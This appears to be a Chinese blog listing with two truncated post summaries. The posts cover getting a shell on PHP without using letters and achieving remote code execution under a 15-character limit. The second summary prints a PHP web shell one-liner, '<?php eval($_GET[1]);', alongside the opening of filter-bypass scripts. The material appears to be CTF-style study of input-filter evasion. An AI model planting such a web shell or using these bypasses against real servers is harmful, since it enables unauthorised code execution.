vicr

摘要： 无字母下的GETSHELL 中心思想 将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。 技术点 ASCII编码 code: # coding:utf-8 # @Auther: Vicr a = '~!!!@#$%^&*()-+[]{}`,.<>/\|' for i in rang 阅读全文

摘要： 限制字符下的RCE 需要转义的字符： '<', '>', '(', ')', '[', ']', '$', ';', ' ' 15字符限制 RCE = <?php eval($_GET[1]); # coding:utf-8 # @Auther: Vicr def filter(rce): scop 阅读全文